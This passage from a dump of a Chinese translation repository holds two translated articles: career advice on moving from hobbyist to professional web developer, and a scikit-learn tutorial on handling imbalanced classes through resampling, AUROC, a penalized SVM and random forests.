我们在工艺上都是学徒，而且从没有人成为大师。\n\n他这句话说的是写作，但是在程序开发方面也同样适用。\n\n在工作的同时不断自学令我收获颇丰（[我甚至写了本书](http://meteorandreact.com/)）。我了解了关于网站开发的一些实用技术，同时从一个业余爱好者成长为一个专业开发人员。你们也可以做到，无论你们有多少时间和能力。\n\n再和你说件事儿，我曾经同时做两份工作，其中一个需要我早上四点就爬起来开着叉车到处跑。\n\n作为一个生活忙碌的成年人，想要学习编程需要有决心、动力以及倔强的坚持。\n\n### 从入门到精通\n\n下面是一个你可以遵循的流程。每个人的学习过程的确会有所不同，但是有一些好的建议有助于你走上正轨。\n\n#### 1. 相信自己可以做到 ####\n\n任何人都可以通过自学成为一个开发者。有一种观点是自学只有特定类型的人能做到，这在某种程度上是正确的。你需要自我驱动，而不是被能立即得到回报的动机驱动。但是任何人都可以成为这种类型的人。\n\n现代社会存有“天赋不是人人都有”的这种观点。这种观点不利于我们的成长，也是许多人在生活中感到不满的原因之一。\n\n如果你执着于自己是否有天赋这一点，那么你将很容易沮丧。\n\n我要立马把这种错误观念抛诸脑后。任何人可以自我驱动并且自学编程。或者开始一个成功的业务，或者实现一个长期目标。\n\n这无关你是否抓住了一个大机会，或是天赋异禀。持之以恒才是关键。\n\n如果你能够埋头苦干，即使困难的时候也不放弃，坚持不懈，那么没有什么事情是你办不到的。\n\n最后一点相当重要，但是我想先给你们提个醒儿再继续。\n\n人们总是更倾向于关注自己和他人的成功。这就是著名的[幸存者偏差](https://youarenotsosmart.com/2013/05/23/survivorship-bias/)。\n\n运气的确客观存在。有时候有了它事情会变得相当的顺利。例如，我之前联系过一个 Web 开发的机构，幸运的是他们当时正好在招人并且我恰巧符合他们的要求。\n\n但什么是运气呢？\n\n当然，我获得那份工作有运气的成分在，但是如果我没有下定决心去自学开发，那么有运气也是没用的。之后我果断地决定去申请这份工作。\n\n运气的确有一定的作用，但是凡事全靠运气却是不对的。要想自己更加好运，你就应该更加投入于你所做的事情。\n\n但是好运并不会眷顾胸无大志之人。\n\n#### 2. 持之以恒在促成你的作品方面有着难以置信的魔力 ####\n\n我最大的缺点之一就是容易感到厌倦和分心。我会不断想要跳过目前的工作进入下一个项目。这种趋势会断送你的成功。\n\n根据心情选择项目固然很自由，但是……\n\n![](https://cdn-images-1.medium.com/max/800/1*ZXYdFihJqlj0-mIlO1-t6g.jpeg)\n\n这是一个陷阱！你可以忽视本文的其他观点，但请记住一点：\n\n**成为一个专业的程序员最重要的一点就是坚持。持之以恒决不放弃直到作品完成。**\n\n这句话到处适用。\n\n人们非常在意选择什么框架去使用。但是关键的是选择一个并坚持使用。你可以之后再转去学新的语言和框架。\n\n重要的是在开发时学会解决问题的技能，并像开发人员一样思考问题。\n\n我自学的时候使用的是 Laravel，但是雇佣我的公司使用 CakePHP 来进行开发。没事，他们知道我有切换框架的能力。\n\n选择一个方向并深挖下去，无论你选择的是什么。同时你需要清除其它的干扰项。\n\n这种精益求精的过程中有着一种无与伦比的美妙感受。\n\n它的确不易。但是一旦你学会不分心，你将发觉到工作中持续增长的乐趣。\n\nMike Rowe 常说：人们不应该在发现自己的激情后才开始行动。\n\n人们郁郁寡欢。执着于寻求一个完美的事业，一个充满激情的事业。\n\n但是激情来自于对作品持续不断完善的渴望。一旦你养成这个观念，那么你的开发能力将有一个质的飞跃。\n\n#### 3. 立即开始搭建你的项目 ####\n\n有抱负的程序员有时候会陷入只看不行动的境地。\n\n教程和书籍对于基础学习的确很有帮助。但问题是它们会给程序员灌输虚假的自信。\n\n如果你曾经看完一本编程书然后动手编程时却发现自己毫无思路，那么你就知道我在说什么了。\n\n解决方案很简单，但是并不容易。\n\n开始编程。\n\n做点什么东西。开发一个应用解决你自己生活中的问题，或者针对于你身边人的某个问题。\n\n做些好玩的东西。\n\n做点东西，并且对外展示。把它开源并放在 GitHub 上。你做这些不是为了别人而是为了自己，所以你不需要担心别人对此的看法。\n\n你的代码一开始会很丑陋。即使我现在看自己一个月前写的代码我都觉得惨不忍睹。但是如果不做点东西你是学不会开发的。书本很棒，我沉迷于看很多很多的书。但是在那之后你必须不断去应用你看到的知识。\n\n你会遇到很多问题，举步维艰。这很好，这时候我们学到的东西最多。\n\n开始做点小东西来解决问题，这个我会在下面的第六点详细讨论。\n\n#### 4. 创建一个线上身份 ####\n\n一旦你开始做点小项目，你会需要创建一个线上的身份。拥有自己的 GitHub 账户是一个不错的开始。\n\n你可以在这里放置你正在着手的项目，并与全世界的人分享。\n\n如果你想要的不止如此。那么我推荐你创建一个个人网站。\n\n这个网站有以下的几个作用：\n\n1. 它是一个公开向潜在雇主展示你自己的地方\n2. 它是一个可以展示你作品的地方\n3. 它将成为你的舞台\n\n最后一点十分重要。一旦你开始做项目，你就应该立即开始记录他们。开始用一个简单的博客去分享你正在做的事情并且传授你所知道的一切。\n\n这是向潜在雇主展示你身份和能力的最好方法之一。它可以让大家看到你，并且过程中你也将构建出属于你自己的平台。\n\n这可以带来工作机会和在写书或者自由职业方面获得额外收入的可能。\n\n你的网站应该有明确的目的。\n\n很多人制作在线简历，但是你要做的不止如此。你的目标是什么？你的网站需要围绕这个目标设计和创建。\n\n如果你想要一个基于某个特定项目或者框架的工作，你可以将其放在你的网站上。\n\n我建议你的网站要有以下四个主要构成部分：\n\n1. 主页\n\n你的主页是你网站的入口点。它应该提供一个非常简要的介绍，关于你是谁，你是做什么的。并指引大家找到他们最感兴趣的内容。\n\n比如，你可以有两个主要的按钮。一个引导人们前往你的博客列表去学习一些关于网站开发的知识，另外一个用来引导有意聘用你的人前往你的招聘页面。\n\n2. 博文\n\n这里是放置你的博文以及教程的地方。尽可能多地写一些博文，并且不要害怕去分享他们。\n\n3. 关于我\n\n简单的关于我板块可以展现更多你是谁做什么的细节。不要把它当做你的个人史。再次声明，这一板块核心内容是你想做的事情。\n\n不要谈论你的私人生活，而是谈论什么使你成为一个网站开发者，你做过什么，以及未来的规划。谈论一些你喜欢的项目并给出展示链接。\n\n4. 聘请我\n\n这是你个人网站非常重要的一个部分。这是展现给有意向聘请你的人的板块。\n\n找好“包装”和诚实的平衡点。这个页面的内容可能和关于我页面有部分的重叠，但是这个页面将更加明确你的技能以及你可以给公司带来的好处。\n\n这个页面还需要有你的联系方式以便他人可以联系到你。\n\n除了维护自己的个人网站，你还可以给一些知名出版社写文章。然后在你网站的个人简历板块附上文章链接。\n\n#### 5. 开始传授你会的一切知识 ####\n\nNathan Barry 是一个酷爱传授知识的家伙。他讲过 CSS Tricks 的创始人 Chris Coyier 的故事。\n\n这个网站一开始是 Chris 用来公开记录一些他在学习的东西以便他人借鉴。现在它已经是最大的 Web 开发站点之一。\n\n这个故事告诉我们你不必在成为世界最厉害的专家之后才去写东西和传授东西。\n\n在网络商业的世界中，有一个相对专家的概念。这个概念是说每个人相对于别人在某一个特定方面都是专家。\n\n我对此存有疑虑，特别是被用来推销某些不应该被卖出的商品的时候。这只是一个有用的类比。\n\n困扰我的是使用专家一词。我不认为传授你知道的东西有什么问题，你甚至可以向需要的人们贩卖这些知识。\n\n但是自称专家好像又言重了。所以当你写东西的时候，请尽量保持内容真实性。\n\n我更喜欢在公开场合定期学习。\n\n有很多人是从成为一个公开的学习者开始他们的学习的。他们学习手艺同时并记录下来他们学到的东西。\n\n这是传授你所知道的一切的一个很好的方法。随着你学到的东西越来越多，你构建出自己的内容，并在这个期间成为一个更好的书写者。久而久之，你将在你的圈子被其他人视为权威人物。\n\n无论在找工作或是自己单干方面，这都十分的有价值。\n\n#### 6. 为解决问题而开发 ####\n\n做事有明确的意图是成为一个专业的程序员最重要的方面之一。\n\n为了乐趣随意开发应用是一回事，为了解决问题去开发应用和网站又是另外一回事。\n\n电商本质其实不是程序开发，其本质是关于解决问题。代码只是他们首选的工具而已。\n\n任何一本市场营销的书或文案都会告诉你去推销商品的优点而不是特点。\n\nWeb 开发人员应该通过展示他们如何有效地解决了用户的问题来推销他们的应用。然后用具体的指标来支撑他们的言论。客户通常对这种方式的介绍更感兴趣，而不是听开发者谈论他们使用的尖端技术。\n\n如果你能证明你的编程技能, 并能用代码解决问题和创造有意义的应用, 那么你将非常受雇主欢迎。\n\n当你与潜在雇主或是客户沟通时，以及在为你的网站编写内容时，请进行优势与功能这两方面的思考。\n\n当然，你也应该提及你的编程熟练程度，但是大部分人在这个方面花了所有时间。简要地介绍一下好让潜在雇员知道你在做什么就可以了。如果你开发了一系列很有用的程序，那么它们将会为你的编程技能说话。\n\n#### 7. 采取学徒心态 ####\n\n你认为你掌握技能的那一天便是你停止学习的一天。\n\n养成终生学习的观念。总是有更多的东西去学习，有更大的空间去进步。\n\n这在你早期的职业生涯相当重要。如果你兼职或实习或担任初级开发人员，你需要尽可能快速进入学习和成长状态。\n\n你真的应该马上这么做，即使你还没有一个真实的“导师”。\n\n在[工作的艺术](https://www.amazon.com/Art-Work-Proven-Discovering-Meant/dp/0718022076)这本书中，Jeff Goins 谈论了二十一世纪的师徒关系。\n\n回到中世纪，这种关系非常正式。大师会带一个徒弟多年，直到徒弟慢慢地掌握手艺达到大师的头衔，那时他们就可以收自己的徒弟了。\n\n虽然这种关系已经发生了改变，但是将自己视为一个学徒仍然十分重要。有所不同是的是现在你需要自己关注潜在的导师和学习机遇，他们遍布你的征途。\n\n在 Web 开发的世界里，我们经常上网，所以学习形式多种多样。\n\n书本，教程，课程，专题讨论会以及其他形式的学习都是十分有价值的。但是我觉得最有价值的学习形式是从你想成为的人身上学习。\n\n这就是为什么乐意并热切地去学习是这么的重要。得到了你的第一份开发工作不是征途的结束，而只是开始。\n\n当采取了学徒心态你将真正开始学习并且你的知识将呈几何级数地增长。\n\n#### 8. 学会合作 ####\n\n将编程作为兴趣和以编程为生之间的最大差别就是你需要学会与他人合作。\n\n你需要与同辈、老板、同事、客户、合作公司沟通和合作，并且在你的职业生涯中你会遇到形形色色的人。\n\n学会如何与他人有效地合作是十分重要的。\n\n在 Web 开发领域，沟通是关键。当一个公司向你们表达自己所需时，如果你对他们所表述的东西不清楚，那么会给未来的工作带来很多头疼的问题。\n\n同样的，如果你不能与同你一起工作的人们良好地沟通，你的工作也将遭遇很多问题并无法完成。\n\n如果你还在学习的话，我这里倒是有几个不错的建议可以给你。\n\n当你开始传授你所知道的知识时可能就会遇到这些问题。人们将与你进行交互，有时候这些交互是负面的，你需要学会如何去处理这种情况。\n\n我还十分推荐大家去给开源项目做贡献。你将收获在一个项目中与带有不同观点的人们合作的体验。\n\n参与开源项目的确是一件令人胆怯的事情，但是它会给你的开发生涯创造奇迹。\n\n[看看这个网站然后开始](http://www.firsttimersonly.com/)\n\n### 动身去以此谋生 ###\n\n成为一个 Web 开发者是困难的。意味着你的一生需要永不止步地学习和不断接受新的事物。它是一个不仅需要精通技术还需要了解业务和沟通的职业。\n\n成为一个 Web 开发者还是一条非常有利的道路。你将制造产品来解决人们的问题，使他们的生活更加便利，同时你将拥有非常棒的生计。\n\n帮助你去学习编程的资源有很多，[他们大多数还是完全免费的](http://freecodecamp.com/)，但是帮助人们转变成为专业的开发人员的资料却很少。\n\n我希望这个简短的指导可以为你指明一条好的道路以帮助你成为一个专业的开发者。\n\n记住，如果你不采取行动什么都不会发生。搭建一个简单的个人站点，给一些潜在的雇主发邮件，在 Medium 上发表一些文章。反正就是要开始有所行动。\n\n你越展示自己，做得越多，那么你将越快从业余爱好者成长成为一位专业人士。\n\n我正在考虑开设一个在线研讨班教开发者如何从业余爱好者成长成为专业人士。如果你对此有兴趣，可以在下方留下你的邮箱地址让我知道并且我将为你们提供第一手资料。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-to-handle-imbalanced-classes-in-machine-learning.md",
    "content": "\n> * 原文地址：[How to Handle Imbalanced Classes in Machine Learning](https://elitedatascience.com/imbalanced-classes)\n> * 原文作者：[elitedatascience](https://elitedatascience.com/imbalanced-classes)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-handle-imbalanced-classes-in-machine-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-handle-imbalanced-classes-in-machine-learning.md)\n> * 译者：[RichardLeeH](https://github.com/RichardLeeH)\n> * 校对者：[lsvih](https://github.com/lsvih), [lileizhenshuai](https://github.com/lileizhenshuai)\n\n# 如何处理机器学习中的不平衡类别\n\n不平衡类别使得“准确率”失去意义。这是机器学习 (特别是在分类)中一个令人惊讶的常见问题，出现于每个类别的观测样本不成比例的数据集中。\n\n普通的准确率不再能够可靠地度量性能，这使得模型训练变得更加困难。\n\n不平衡类别出现在多个领域，包括：\n\n- 欺诈检测\n- 垃圾邮件过滤\n- 疾病筛查\n- SaaS 客户流失\n- 广告点击率\n\n在本指南中，我们将探讨 5 种处理不平衡类别的有效方法。\n\n![How to Handle Imbalanced Classes in Machine Learning](https://elitedatascience.com/wp-content/uploads/2017/06/imbalanced-classes-feature-with-text.jpg)\n\n#### 直观的例子：疾病筛查案例\n\n假如你的客户是一家先进的研究医院，他们要求你基于采集于病人的生物输入来训练一个用于检测一种疾病的模型。\n\n但这里有陷阱... 疾病非常罕见；筛查的病人中只有 8% 的患病率。\n\n现在，在你开始之前，你觉得问题可能会怎样发展呢？想象一下，如果你根本没有去训练一个模型。相反，如果你只写一行代码，总是预测“没有疾病”，那会如何呢？\n\n一个拙劣但准确的解决方案\n\n```\ndef disease_screen(patient_data):\n    # 忽略 patient_data\n    return 'No Disease.'\n```\n\n很好，猜猜看？你的“解决方案”应该有 92% 的准确率！\n\n不幸的是，以上准确率具有误导性。\n\n- 对于未患该病的病人，你的准确率是 100% 。\n- 对于已患该病的病人，你的准确率是 0%。\n- 你的总体准确率非常高，因为大多数患者并没有患该病 (不是因为你的模型训练的好)。\n\n这显然是一个问题，因为设计的许多机器学习算法是为了最大限度的提高整体准确率。本指南的其余部分将说明处理不平衡类别的不同策略。\n\n#### 我们开始之前的重要提示：\n\n首先，请注意，我们不会分离出一个独立的测试集，调整超参数或者实现交叉检验。换句话说，我们不打算遵循最佳做法 (在我们的[7 天速成课程](http://elitedatascience.com/)中有介绍)。\n\n相反，本教程只专注于解决不平衡类别问题。\n\n此外，并非以下每种技术都会适用于每一个问题。不过通常来说，这些技术中至少有一个能够解决问题。\n\n## Balance Scale 数据集\n\n对于本指南，我们将会使用一个叫做 Balance Scale 数据的合成数据集，你可以从[这里](http://archive.ics.uci.edu/ml/datasets/balance+scale) UCI 机器学习仓库下载。\n\n这个数据集最初被生成用于模拟心理实验结果，但是对于我们非常有用，因为它的规模便于处理并且包含不平衡类别\n\n导入第三方依赖库并读取数据\n```\nimport pandas as pd\nimport numpy as np\n\n# 读取数据集\ndf = pd.read_csv('balance-scale.data',\n                 names=['balance', 'var1', 'var2', 'var3', 'var4'])\n\n# 显示示例观测样本\ndf.head()\n```\n\n![Balance Scale Dataset](https://elitedatascience.com/wp-content/uploads/2017/06/balance-scale-dataset-head.png)\n\n基于两臂的重量和距离，该数据集包含了天平是否平衡的信息。\n\n- 其中包含 1 个我们标记的目标变量\n      balance .\n- 其中包含 4 个我们标记的输入特征\n      var1  到\n      var4 .\n\n![Image Scale Data](https://elitedatascience.com/wp-content/uploads/2017/06/balance-scale-data.png)\n\n目标变量有三个类别。\n\n- **R** 表示右边重,，当\n      var3*var4>var1*var2\n- **L** 表示左边重，当\n      var3*var4<var1*var2\n- **B** 表示平衡，当\n      var3*var4=var1*var2\n\n每个类别的数量\n\n```\ndf['balance'].value_counts()\n# R    288\n# L    288\n# B     49\n# Name: balance, dtype: int64\n```\n\n然而，对于本教程， 我们将把本问题转化为 **二值分类** 问题。\n\n我们将把天平平衡时的每个观测样本标记为 **1** (正向类别)，否则标记为 **0** (负向类别)：\n\n转变成二值分类\n\n```\n# 转换为二值分类\ndf['balance'] = [1 if b=='B' else 0 for b in df.balance]\n\ndf['balance'].value_counts()\n# 0    576\n# 1     49\n# Name: balance, dtype: int64\n# About 8% were balanced\n```\n\n正如你所看到的，只有大约 8% 的观察样本是平衡的。 因此，如果我们的预测结果总为 **0**，我们就会得到 92% 的准确率。\n\n## 不平衡类别的风险\n\n现在我们有一个数据集，我们可以真正地展示不平衡类别的风险。\n\n首先，让我们从 [Scikit-Learn](http://scikit-learn.org/stable/) 导入逻辑回归算法和准确度度量模块。\n\n导入算法和准确度度量模块\n\n```\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\n```\n\n接着，我们将会使用默认设置来生成一个简单的模型。\n\n在不平衡数据上训练一个模型\n\n```\n# 分离输入特征 (X) 和目标变量 (y)\ny = df.balance\nX = df.drop('balance', axis=1)\n\n# 训练模型\nclf_0 = LogisticRegression().fit(X, y)\n\n# 在训练集上预测\npred_y_0 = clf_0.predict(X)\n```\n\n如上所述，许多机器学习算法被设计为在默认情况下最大化总体准确率。\n\n我们可以证实这一点：\n\n```\n# 准确率是怎样的?\nprint( accuracy_score(pred_y_0, y) )\n# 0.9216\n```\n\n因此我们的模型拥有 92% 的总体准确率，但是这是因为它只预测了一个类别吗？\n\n```\n# 我们应该兴奋吗?\nprint( np.unique( pred_y_0 ) )\n# [0]\n```\n\n正如你所看到的，这个模型仅能预测 **0**，这就意味着它完全忽视了少数类别而偏爱多数类别。\n\n接着，我们将会看到第一个处理不平衡类别的技术：上采样少数类别。\n\n## 1. 上采样少数类别\n\n上采样是从少数类别中随机复制观测样本以增强其信号的过程。\n\n达到这个目的有几种试探法，但是最常见的方法是使用简单的放回抽样的方式重采样。\n\n首先，我们将从 Scikit-Learn 中导入重采样模块：\n\n重采样模块\n\n```\nfrom sklearn.utils import resample\n```\n\n接着，我们将会使用一个上采样过的少数类别创建一个新的 DataFrame。 下面是详细步骤：\n\n1. 首先，我们将每个类别的观测样本分离到不同的 DataFrame 中。\n2. 接着，我们将采用**放回抽样**的方式对少数类别重采样，让样本的数量与多数类别数量相当。\n3. 最后，我们将上采样后的少数类别 DataFrame 与原始的多数类别 DataFrame 合并。\n\n以下是代码：\n\n上采样少数类别\n\n```\n#  分离多数和少数类别\ndf_majority = df[df.balance==0]\ndf_minority = df[df.balance==1]\n\n# 上采样少数类别\ndf_minority_upsampled = resample(df_minority,\n                                 replace=True,     # sample with replacement\n                                 n_samples=576,    # to match majority class\n                                 random_state=123) # reproducible results\n\n# 合并多数类别同上采样过的少数类别\ndf_upsampled = pd.concat([df_majority, df_minority_upsampled])\n\n# 显示新的类别数量\ndf_upsampled.balance.value_counts()\n# 1    576\n# 0    576\n# Name: balance, dtype: int64\n```\n\n正如你所看到的，新生成的 DataFrame 比原来拥有更多的观测样本，现在两个类别的比率为 1:1。\n\n让我们使用逻辑回归训练另一个模型，这次我们在平衡数据集上进行：\n\n在上采样后的数据集上训练模型\n\n```\n# 分离输入特征 (X) 和目标变量 (y)\ny = df_upsampled.balance\nX = df_upsampled.drop('balance', axis=1)\n\n# 训练模型\nclf_1 = LogisticRegression().fit(X, y)\n\n# 在训练集上预测\npred_y_1 = clf_1.predict(X)\n\n# 我们的模型仍旧预测仅仅一个类别吗？\nprint( np.unique( pred_y_1 ) )\n# [0 1]\n\n# 我们的准确率如何？\nprint( accuracy_score(y, pred_y_1) )\n# 0.513888888889\n```\n\n非常好，现在这个模型不再只是预测一个类别了。虽然准确率急转直下，但现在的性能指标更有意义。\n\n## 2. 下采样多数类别\n\n下采样包括从多数类别中随机地移除观测样本，以防止它的信息主导学习算法。\n\n其中最常见的试探法是不放回抽样式重采样。\n\n这个过程同上采样极为相似。下面是详细步骤：\n\n1. 首先，我们将每个类别的观测样本分离到不同的 DataFrame 中。\n2. 接着，我们将采用**不放回抽样**来重采样多数类别，让样本的数量与少数类别数量相当。\n3. 最后，我们将下采样后的多数类别 DataFrame 与原始的少数类别 DataFrame 合并。\n\n以下为代码：\n\n下采样多数类别\n\n```\n# 分离多数类别和少数类别\ndf_majority = df[df.balance==0]\ndf_minority = df[df.balance==1]\n\n# 下采样多数类别\ndf_majority_downsampled = resample(df_majority,\n                                 replace=False,    # sample without replacement\n                                 n_samples=49,     # to match minority class\n                                 random_state=123) # reproducible results\n\n# Combine minority class with downsampled majority class\ndf_downsampled = pd.concat([df_majority_downsampled, df_minority])\n\n# Display new class counts\ndf_downsampled.balance.value_counts()\n# 1    49\n# 0    49\n# Name: balance, dtype: int64\n```\n\n这次，新生成的 DataFrame 比原始数据拥有更少的观察样本，现在两个类别的比率为 1:1。\n\n让我们再一次使用逻辑回归训练一个模型：\n\n在下采样后的数据集上训练模型\n\n```\n# Separate input features (X) and target variable (y)\ny = df_downsampled.balance\nX = df_downsampled.drop('balance', axis=1)\n\n# Train model\nclf_2 = LogisticRegression().fit(X, y)\n\n# Predict on training set\npred_y_2 = clf_2.predict(X)\n\n# Is our model still predicting just one class?\nprint( np.unique( pred_y_2 ) )\n# [0 1]\n\n# How's our accuracy?\nprint( accuracy_score(y, pred_y_2) )\n# 0.581632653061\n```\n\n模型不再仅预测一个类别，并且其准确率似乎有所提高。\n\n我们还希望在一个未见过的测试数据集上验证模型时， 能看到更令人鼓舞的结果。\n\n## 3. 改变你的性能指标\n\n目前，我们已经看到通过重采样数据集来解决不平衡类别的问题的两种方法。接着，我们将考虑使用其他性能指标来评估模型。\n\n阿尔伯特•爱因斯坦曾经说过，“如果你根据能不能爬树来判断一条鱼的能力，那你一生都会认为它是愚蠢的。”，这句话真正突出了选择正确评估指标的重要性。\n\n对于分类的通用指标，我们推荐使用 **ROC 曲线下面积** (AUROC)。\n\n- 本指南中我们不做详细介绍，但是你可以在[这里](https://stats.stackexchange.com/questions/132777/what-does-auc-stand-for-and-what-is-it)阅读更多关于它的信息。\n- 直观地说，AUROC 表示从中类别中区别观测样本的可能性。\n- 换句话说，如果你从每个类别中随机选择一个观察样本，它将被正确的“分类”的概率是多大？\n\n我们可以从 Scikit-Learn 中导入这个指标：\n\nROC 曲线下面积\n\n```\nfrom sklearn.metrics import roc_auc_score\n```\n\n为了计算 AUROC，你将需要预测类别的概率，而非仅预测类别。你可以使用如下代码获取这些结果\n      .predict_proba() ** ** function like so:\n\n获取类别概率\n\n```\n# Predict class probabilities\nprob_y_2 = clf_2.predict_proba(X)\n\n# Keep only the positive class\nprob_y_2 = [p[1] for p in prob_y_2]\n\nprob_y_2[:5] # Example\n# [0.45419197226479618,\n#  0.48205962213283882,\n#  0.46862327066392456,\n#  0.47868378832689096,\n#  0.58143856820159667]\n```\n\n那么在 AUROC 下 这个模型 (在下采样数据集上训练模型) 效果如何？\n\n下采样后数据集上训练的模型的 AUROC\nPython\n\n```\nprint( roc_auc_score(y, prob_y_2) )\n# 0.568096626406\n```\n\n不错... 这和在不平衡数据集上训练的原始模型相比，又如何呢？\n\n不平衡数据集上训练的模型的 AUROC\n\n```\nprob_y_0 = clf_0.predict_proba(X)\nprob_y_0 = [p[1] for p in prob_y_0]\n\nprint( roc_auc_score(y, prob_y_0) )\n# 0.530718537415\n```\n\n记住，我们在不平衡数据集上训练的原始模型拥有 92% 的准确率，它远高于下采样数据集上训练的模型的 58% 准确率。\n\n然而，后者模型的 AUROC 为 57%，它稍高于 AUROC  为 53% 原始模型的 (并非远高于)。\n\n**注意：** 如果 AUROC 的值为 0.47，这仅仅意味着你需要翻转预测，因为 Scikit-Learn 误解释了正向类别。 AUROC 应该 >= 0.5。\n\n## 4. 惩罚算法 (代价敏感学习)\n\n接下来的策略是使用惩罚学习算法来增加对少数类别分类错误的代价。\n\n对于这种技术，一个流行的算法是惩罚性-SVM：\n\n支持向量机\n\n```\nfrom sklearn.svm import SVC\n```\n\n训练时，我们可以使用参数\n      class_weight='balanced' 来减少由于少数类别样本比例不足造成的预测错误。\n\n我们也可以包含参数\n      probability=True  ，如果我们想启用 SVM 算法的概率估计。\n让我们在原始的不平衡数据集上使用惩罚性的 SVM 训练模型：\n\nSVM 在不平衡数据集上训练惩罚性-SVM\n\n```\n# 分离输入特征 (X) 和目标变量 (y)\ny = df.balance\nX = df.drop('balance', axis=1)\n\n# 训练模型\nclf_3 = SVC(kernel='linear',\n            class_weight='balanced', # penalize\n            probability=True)\n\nclf_3.fit(X, y)\n\n# 在训练集上预测\npred_y_3 = clf_3.predict(X)\n\n# Is our model still predicting just one class?\nprint( np.unique( pred_y_3 ) )\n# [0 1]\n\n# How's our accuracy?\nprint( accuracy_score(y, pred_y_3) )\n# 0.688\n\n# What about AUROC?\nprob_y_3 = clf_3.predict_proba(X)\nprob_y_3 = [p[1] for p in prob_y_3]\nprint( roc_auc_score(y, prob_y_3) )\n# 0.5305236678\n```\n\n再说，这里我们的目的只是为了说明这种技术。真正决定哪种策略最适合*这个问题*，你需要在保留测试集上评估模型。\n\n## 5. 使用基于树的算法\n\n最后一个策略我们将考虑使用基于树的算法。决策树通常在不平衡数据集上表现良好，因为它们的层级结构允许它们从两个类别去学习。\n\n在现代应用机器学习中，树集合(随机森林、梯度提升树等) 几乎总是优于单一决策树，所以我们将跳过单一决策树直接使用树集合模型：\n\n随机森林\n\n```\nfrom sklearn.ensemble import RandomForestClassifier\n```\n\n现在，让我们在原始的不平衡数据集上使用随机森林训练一个模型。\n\n在不平衡数据集上训练随机森林\n\n```\n# 分离输入特征 (X) 和目标变量 (y)\ny = df.balance\nX = df.drop('balance', axis=1)\n\n# 训练模型\nclf_4 = RandomForestClassifier()\nclf_4.fit(X, y)\n\n# 在训练集上进行预测\npred_y_4 = clf_4.predict(X)\n\n# 我们的模型仍然仅能预测一个类别吗?\nprint( np.unique( pred_y_4 ) )\n# [0 1]\n\n# 我们的准确率如何?\nprint( accuracy_score(y, pred_y_4) )\n# 0.9744\n\n# AUROC 怎么样?\nprob_y_4 = clf_4.predict_proba(X)\nprob_y_4 = [p[1] for p in prob_y_4]\nprint( roc_auc_score(y, prob_y_4) )\n# 0.999078798186\n```\n\n哇! 97% 的准确率和接近 100% AUROC 是魔法吗？戏法？作弊？是真的吗？\n\n嗯，树集合已经非常受欢迎，因为他们在许多现实世界的问题上表现的非常良好。我们当然全心全意地推荐他们。\n\n**然而：**\n\n虽然这些结果令人激动，但是模型*可能*导致过拟合，因此你在做出最终决策之前仍旧需要在未见过的测试集上评估模型。\n\n**注意: 由于算法的随机性，你的结果可能略有不同。为了能够复现试验结果，你可以设置一个随机种子。**\n\n## 顺便提一下\n\n有些策略没有写入本教程：\n\n#### 创建合成样本 (数据增强)\n\n创建合成样本与上采样非常相似， 一些人将它们归为一类。例如， [SMOTE 算法](https://www.jair.org/media/953/live-953-2037-jair.pdf) 是一种从少数类别中重采样的方法，会轻微的引入噪声，来创建”新“样本。\n\n你可以在 [imblearn 库](http://contrib.scikit-learn.org/imbalanced-learn/generated/imblearn.over_sampling.SMOTE.html) 中 找到 SMOTE 的一种实现\n\n**注意：我们的读者之一，马可，提出了一个很好的观点：仅使用 SMOTE 而不适当的使用交叉验证所造成的风险。查看评论部分了解更多详情或阅读他的关于本主题的 [博客文章](http://www.marcoaltini.com/blog/dealing-with-imbalanced-data-undersampling-oversampling-and-proper-cross-validation) 。**\n\n#### 组合少数类别\n\n组合少数类别的目标变量可能适用于某些多类别问题。\n\n例如，假如你希望预测信用卡欺诈行为。在你的数据集中，每种欺诈方式可能会分别标注，但你可能并不关心区分他们。你可以将它们组合到单一类别“欺诈”中并把此问题归为二值分类问题。\n\n#### 重构欺诈检测\n\n异常检测， 又称为离群点检测，是为了[检测异常点(或离群点)和小概率事件](https://en.wikipedia.org/wiki/Anomaly_detection)。不是创建一个分类模型，你会有一个正常观测样本的 ”轮廓“。如果一个新观测样本偏离 “正常轮廓” 太远，那么它就会被标注为一个异常点。\n\n## 总结 & 下一步\n\n在本指南中，我们介绍了 5 种处理不平衡类别的有效方法：\n\n1. 上采样 少数类别\n2. 下采样 多数类别\n3. 改变你的性能指标\n4. 惩罚算法 (代价敏感学习)\n5. 使用基于树的算法\n\n这些策略受[没有免费的午餐定理](http://elitedatascience.com/machine-learning-algorithms)支配，你应该尝试使用其中几种方法，并根据测试集的结果来决定你的问题的最佳解决方案。\n\n如果你喜欢本指南，我们邀请你注册我们的 **[7天免费应用机器学习速成课](http://elitedatascience.com/)**。我们会分享在我们博客中找不到的课程，当我们发布类似本教程的新教程时我们会给你发送通知。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-to-implement-expandable-menu-on-ios-like-in-airbnb.md",
